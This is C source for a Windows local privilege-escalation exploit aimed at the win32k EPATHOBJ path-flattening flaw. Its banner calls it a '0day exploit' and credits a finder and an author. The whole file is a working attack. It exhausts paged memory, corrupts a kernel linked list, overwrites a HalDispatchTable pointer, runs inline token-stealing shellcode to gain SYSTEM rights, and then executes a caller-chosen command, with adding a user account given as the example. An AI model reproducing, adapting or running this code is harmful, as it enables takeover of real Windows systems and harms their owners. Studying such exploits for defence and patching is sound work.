#include <stdio.h> #include <STDARG.H> #include <stddef.h> #include <windows.h> //#include <ntstatus.h>
#pragma comment(lib, "gdi32") #pragma comment(lib, "kernel32") #pragma comment(lib, "user32")
#define MAX_POLYPOINTS (8192 * 3) #define MAX_REGIONS 8192 #define CYCLE_TIMEOUT 10000
#pragma comment(linker, "/SECTION:.text,ERW")
// // win32k!EPATHOBJ::pprFlattenRec uninitialized Next pointer testcase. // // Tavis Ormandy <taviso () cmpxchg8b com>, March 2013 //
POINT Points[MAX_POLYPOINTS]; BYTE PointTypes[MAX_POLYPOINTS]; HRGN Regions[MAX_REGIONS]; ULONG NumRegion = 0; HANDLE Mutex;
// Log levels. typedef enum { L_DEBUG, L_INFO, L_WARN, L_ERROR } LEVEL, *PLEVEL;
VOID LogInit(); VOID LogRelase(); BOOL LogMessage(LEVEL Level, PCHAR Format, ...);
// Copied from winddi.h from the DDK #define PD_BEGINSUBPATH 0x00000001 #define PD_ENDSUBPATH 0x00000002 #define PD_RESETSTYLE 0x00000004 #define PD_CLOSEFIGURE 0x00000008 #define PD_BEZIERS 0x00000010
#define ENABLE_SWITCH_DESKTOP 1
typedef struct _POINTFIX { ULONG x; ULONG y; } POINTFIX, *PPOINTFIX;
// Approximated from reverse engineering. typedef struct _PATHRECORD { struct _PATHRECORD *next; struct _PATHRECORD *prev; ULONG flags; ULONG count; POINTFIX points[4]; } PATHRECORD, *PPATHRECORD;
PPATHRECORD PathRecord; PATHRECORD ExploitRecord = {0}; PPATHRECORD ExploitRecordExit;
typedef struct _RTL_PROCESS_MODULE_INFORMATION { HANDLE Section; // Not filled in PVOID MappedBase; PVOID ImageBase; ULONG ImageSize; ULONG Flags; USHORT LoadOrderIndex; USHORT InitOrderIndex; USHORT LoadCount; USHORT OffsetToFileName; UCHAR FullPathName[ 256 ]; } RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION;
typedef struct _RTL_PROCESS_MODULES { ULONG NumberOfModules; RTL_PROCESS_MODULE_INFORMATION Modules[ 1 ]; } RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES;
typedef ULONG ( __stdcall *NtQueryIntervalProfile_ ) ( ULONG, PULONG ); typedef ULONG ( __stdcall *NtQuerySystemInformation_ ) ( ULONG, PVOID, ULONG, PULONG ); typedef ULONG ( __stdcall *NtAllocateVirtualMemory_ ) ( HANDLE, PVOID, ULONG, PULONG, ULONG, ULONG ); typedef ULONG ( __stdcall *NtFreeVirtualMemory_)( HANDLE, PVOID, PULONG, ULONG);
NtQueryIntervalProfile_ NtQueryIntervalProfile; NtAllocateVirtualMemory_ NtAllocateVirtualMemory; NtQuerySystemInformation_ NtQuerySystemInformation; NtFreeVirtualMemory_ NtFreeVirtualMemory; ULONG PsInitialSystemProcess, PsReferencePrimaryToken, PsGetThreadProcess, WriteToHalDispatchTable, FixAddress;
void _declspec(naked) ShellCode() { __asm { pushad pushfd mov esi,PsReferencePrimaryToken FindTokenOffset: lodsb cmp al, 8Dh; jnz FindTokenOffset mov edi,[esi+1] mov esi,PsInitialSystemProcess mov esi,[esi] push fs:[124h] mov eax,PsGetThreadProcess call eax add esi, edi push esi add edi, eax movsd ;add token ref count. pop esi mov esi, [esi] and esi, 0xFFFFFFF8 lea eax, [esi-0x18] mov DWORD PTR [eax], 0x016B00B5 ;fix the haltable mov eax, WriteToHalDispatchTable mov ecx, FixAddress mov [ecx], 0xC3 mov DWORD PTR [eax], ecx
popfd popad ;set ret code for NtQueryIntervalProfile mov eax, [esp+0xc] mov DWORD PTR [eax+4], 1 mov DWORD PTR [eax+8], 0xC0000018 xor eax, eax ret } }
DWORD WINAPI WatchdogThread(LPVOID Parameter) { // // This routine waits for a mutex object to timeout, then patches the // compromised linked list to point to an exploit. We need to do this. //
LogMessage(L_INFO, "Watchdog thread %d waiting on Mutex", GetCurrentThreadId()); if (WaitForSingleObject(Mutex, CYCLE_TIMEOUT) == WAIT_TIMEOUT) { // // It looks like the main thread is stuck in a call to FlattenPath(), // because the kernel is spinning in EPATHOBJ::bFlatten(). We can clean // up, and then patch the list to trigger our exploit. //
while (NumRegion--) DeleteObject(Regions[NumRegion]); LogMessage(L_ERROR, "InterlockedExchange(0x%08x, 0x%08x);", &PathRecord->next, &ExploitRecord); InterlockedExchange((PLONG)&PathRecord->next, (LONG)&ExploitRecord); } else { LogMessage(L_ERROR, "Mutex object did not timeout, list not patched"); } return 0; }
void wellcome() { printf("\t\tthe win32k.sys EPATHOBJ 0day exploit\n"); printf("*******************************************************************\n"); printf("***\texploit by:<progmboy> <programmeboy@gmail.com>\t\t***\n"); printf("***\t0day finder:<Tavis Ormandy> <taviso@cmpxchg8b.com>\t***\n"); printf("***\ttested system:xp/2003/win7/2008 (*32bit*)\t\t***\n"); printf("*******************************************************************\n"); }
void usage() { printf("\nusage:\n<app> <cmd> <parameter>\n"); printf("example:\napp.exe net \"user 111 111 /add\""); }
BOOL FindAFixAddress( ULONG NtoskrnlBase) { FixAddress = NtoskrnlBase + FIELD_OFFSET(IMAGE_DOS_HEADER, e_res2); LogMessage(L_INFO, "Get FixAddress --> 0x%08x", FixAddress); return TRUE;
}
// 0x602464FF; /*jmp esp+0x60*/ // 0x51C3686A; /*push 0; ret*/ DWORD CheckMagicDword() { OSVERSIONINFOEX OSVer; DWORD dwMagic = 0;
OSVer.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX); if(GetVersionEx((OSVERSIONINFO *)&OSVer)){ switch(OSVer.dwMajorVersion){ case 5: dwMagic = 0x602464FF; break; case 6: dwMagic = 0x642464FF; break; default: dwMagic = 0; } } return dwMagic; }
int main(int argc, char **argv) { HANDLE Thread; HDC Device; ULONG Size; ULONG PointNum; int nret = 0; DWORD MAGIC_DWORD = CheckMagicDword(); ULONG AllocSize = 0x1000, status, NtoskrnlBase; RTL_PROCESS_MODULES module; HMODULE ntoskrnl = NULL; DWORD dwFix; ULONG Address = MAGIC_DWORD & 0xFFFFF000; LONG ret; BOOL bRet = FALSE; #ifdef ENABLE_SWITCH_DESKTOP HDESK hDesk; #endif HMODULE ntdll = GetModuleHandle( "ntdll.dll" ); wellcome();
if (argc < 2){ usage(); return -1; }
if (!MAGIC_DWORD){ LogMessage(L_ERROR, "unsupported system version\n"); return -1; }
LogInit();
NtQueryIntervalProfile = (NtQueryIntervalProfile_)GetProcAddress( ntdll ,"NtQueryIntervalProfile" ); NtAllocateVirtualMemory = (NtAllocateVirtualMemory_)GetProcAddress( ntdll ,"NtAllocateVirtualMemory" ); NtQuerySystemInformation = (NtQuerySystemInformation_)GetProcAddress( ntdll ,"NtQuerySystemInformation" ); NtFreeVirtualMemory = (NtFreeVirtualMemory_)GetProcAddress( ntdll ,"NtFreeVirtualMemory" ); if ( !NtQueryIntervalProfile || !NtAllocateVirtualMemory || !NtQuerySystemInformation || !NtFreeVirtualMemory){ LogMessage(L_ERROR, "get function address error\n"); LogRelase(); return -1; } // // try to allocate memory. //
while (TRUE){ ret = NtAllocateVirtualMemory( (HANDLE)-1, &Address, 0, &AllocSize, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); if(ret < 0){ MEMORY_BASIC_INFORMATION meminfo; LogMessage(L_ERROR, "allocate memory error code 0x%08x", ret); LogMessage(L_INFO, "try to free memory"); if(VirtualQuery((LPVOID)Address, &meminfo, sizeof(meminfo))){ LogMessage(L_INFO, "meminfo state %d %d\n", meminfo.State, meminfo.Protect); } ret = NtFreeVirtualMemory((HANDLE)-1, &Address, &AllocSize, MEM_RELEASE); if (ret < 0){ LogMessage(L_ERROR, "free memory error code 0x%08x", ret); LogRelase(); return -1; } }else{ break; } } // // get the kernel info //
status = NtQuerySystemInformation( 11, &module, sizeof(RTL_PROCESS_MODULES), NULL);//SystemModuleInformation 11 if ( status != 0xC0000004 ){ LogMessage(L_ERROR, "NtQuerySystemInformation error code:0x%08x\n", status); LogRelase(); return -1; } NtoskrnlBase = (ULONG)module.Modules[0].ImageBase; // // 把ntoskrnl.exe加载进来 // ntoskrnl = LoadLibraryA( (LPCSTR)( module.Modules[0].FullPathName + module.Modules[0].OffsetToFileName ) ); if (ntoskrnl == NULL){ LogMessage(L_ERROR, "LoadLibraryA error code:0x%08x\n", GetLastError()); LogRelase(); return -1; } // // 计算实际地址 // WriteToHalDispatchTable = (ULONG)GetProcAddress(ntoskrnl,"HalDispatchTable") - (ULONG)ntoskrnl + NtoskrnlBase + 4; PsInitialSystemProcess = (ULONG)GetProcAddress(ntoskrnl,"PsInitialSystemProcess") - (ULONG)ntoskrnl + NtoskrnlBase; PsReferencePrimaryToken = (ULONG)GetProcAddress(ntoskrnl,"PsReferencePrimaryToken") - (ULONG)ntoskrnl + NtoskrnlBase; PsGetThreadProcess = (ULONG)GetProcAddress(ntoskrnl,"PsGetThreadProcess") - (ULONG)ntoskrnl + NtoskrnlBase; if(!FindAFixAddress(NtoskrnlBase)){ LogMessage(L_ERROR, "Can not Find A Fix Address\n"); nret = -1; goto __end; }
// // Create our PATHRECORD in user space we will get added to the EPATHOBJ // pathrecord chain. //
PathRecord = (PPATHRECORD)VirtualAlloc(NULL, sizeof(PATHRECORD), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
LogMessage(L_INFO, "Alllocated userspace PATHRECORD () %p", PathRecord); // // Initialize with recognizable debugging values. //
FillMemory(PathRecord, sizeof(PATHRECORD), 0xCC);
PathRecord->next = PathRecord; PathRecord->prev = (PPATHRECORD)(0x42424242); // // You need the PD_BEZIERS flag to enter EPATHOBJ::pprFlattenRec() from // EPATHOBJ::bFlatten(). We don't set it so that we can trigger an infinite // loop in EPATHOBJ::bFlatten(). //
PathRecord->flags = 0;
LogMessage(L_INFO, " ->next @ %p", PathRecord->next); LogMessage(L_INFO, " ->prev @ %p", PathRecord->prev); LogMessage(L_INFO, " ->flags @ %u", PathRecord->flags); ExploitRecordExit = (PPATHRECORD)MAGIC_DWORD; ExploitRecordExit->next = NULL; ExploitRecordExit->next = NULL; ExploitRecordExit->flags = PD_BEGINSUBPATH; ExploitRecordExit->count = 0;
ExploitRecord.next = (PPATHRECORD)MAGIC_DWORD; ExploitRecord.prev = (PPATHRECORD)WriteToHalDispatchTable; ExploitRecord.flags = PD_BEZIERS | PD_BEGINSUBPATH; ExploitRecord.count = 4; LogMessage(L_INFO, "Creating complex bezier path with %x", (ULONG)(PathRecord) >> 4); // // Generate a large number of Belier Curves made up of pointers to our // PATHRECORD object. //
for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) { Points[PointNum].x = (ULONG)(PathRecord) >> 4; Points[PointNum].y = (ULONG)(PathRecord) >> 4; PointTypes[PointNum] = PT_BEZIERTO; }
// // Switch to a dedicated desktop so we don't spam the visible desktop with // our Lines (Not required, just stops the screen from redrawing slowly). // #ifdef ENABLE_SWITCH_DESKTOP hDesk = CreateDesktop( "DontPanic", NULL, NULL, 0, GENERIC_ALL, NULL); if (hDesk){ SetThreadDesktop(hDesk); } #endif while (TRUE){
BOOL bBreak = FALSE;
Mutex = CreateMutex(NULL, TRUE, NULL); if (!Mutex){ LogMessage(L_INFO, "Allocated %u HRGN objects", NumRegion); nret = -1; goto __end; } // // Get a handle to this Desktop. //
Device = GetDC(NULL); // // Spawn a thread to cleanup //
Thread = CreateThread(NULL, 0, WatchdogThread, NULL, 0, NULL); LogMessage(L_INFO, "start CreateRoundRectRgn"); // // We need to cause a specific AllocObject() to fail to trigger the // exploitable condition. To do this, I create a large number of rounded // rectangular regions until they start failing. I don't think it matters // what you use to exhaust paged memory, there is probably a better way. // // I don't use the simpler CreateRectRgn() because it leaks a GDI handle on // failure. Seriously, do some damn QA Microsoft, wtf. //
for (Size = 1 << 26; Size; Size >>= 1) { while (TRUE){ HRGN hm = CreateRoundRectRgn(0, 0, 1, Size, 1, 1); if (!hm){ break; } if (NumRegion < MAX_REGIONS){ Regions[NumRegion] = hm; NumRegion++; }else{ NumRegion = 0; } } }
LogMessage(L_INFO, "Allocated %u HRGN objects", NumRegion);
LogMessage(L_INFO, "Flattening curves..."); // // Begin filling the free list with our points. // dwFix = *(PULONG)ShellCode;
for (PointNum = MAX_POLYPOINTS; PointNum; PointNum -= 3) { BeginPath(Device); PolyDraw(Device, Points, PointTypes, PointNum); EndPath(Device); FlattenPath(Device); FlattenPath(Device); // // call the function to exploit. //
ret = NtQueryIntervalProfile(2, (PULONG)ShellCode); // // we will set the status with 0xC0000018 in ring0 shellcode. //
if (*(PULONG)ShellCode == 0xC0000018){ bRet = TRUE; break; } // // fix // *(PULONG)ShellCode = dwFix;
EndPath(Device); } if (bRet){ LogMessage(L_INFO, "Exploit ok run command"); ShellExecute( NULL, "open", argv[1], argc > 2 ? argv[2] : NULL, NULL, SW_SHOW); bBreak = TRUE; }else{ LogMessage(L_INFO, "No luck, cleaning up. and try again.."); } // // If we reach here, we didn't trigger the condition. Let the other thread know. //
ReleaseMutex(Mutex); ReleaseDC(NULL, Device); WaitForSingleObject(Thread, INFINITE);
if (bBreak){ break; }
} __end: LogRelase(); if (ntoskrnl) FreeLibrary(ntoskrnl); #ifdef ENABLE_SWITCH_DESKTOP if (hDesk){ CloseHandle(hDesk); } #endif return nret; }
CRITICAL_SECTION gCSection;
VOID LogInit() { InitializeCriticalSection(&gCSection); }
VOID LogRelase() { DeleteCriticalSection(&gCSection); }
// // A quick logging routine for debug messages. //
BOOL LogMessage(LEVEL Level, PCHAR Format, ...) { CHAR Buffer[1024] = {0}; va_list Args; EnterCriticalSection(&gCSection);
va_start(Args, Format); _snprintf(Buffer, sizeof(Buffer), Format, Args); va_end(Args);
switch (Level) { case L_DEBUG: fprintf(stdout, "[?] %s\n", Buffer); break; case L_INFO: fprintf(stdout, "[+] %s\n", Buffer); break; case L_WARN: fprintf(stderr, "[*] %s\n", Buffer); break; case L_ERROR: fprintf(stderr, "[!] %s\n", Buffer); break; } fflush(stdout); fflush(stderr); LeaveCriticalSection(&gCSection);
return TRUE; }
|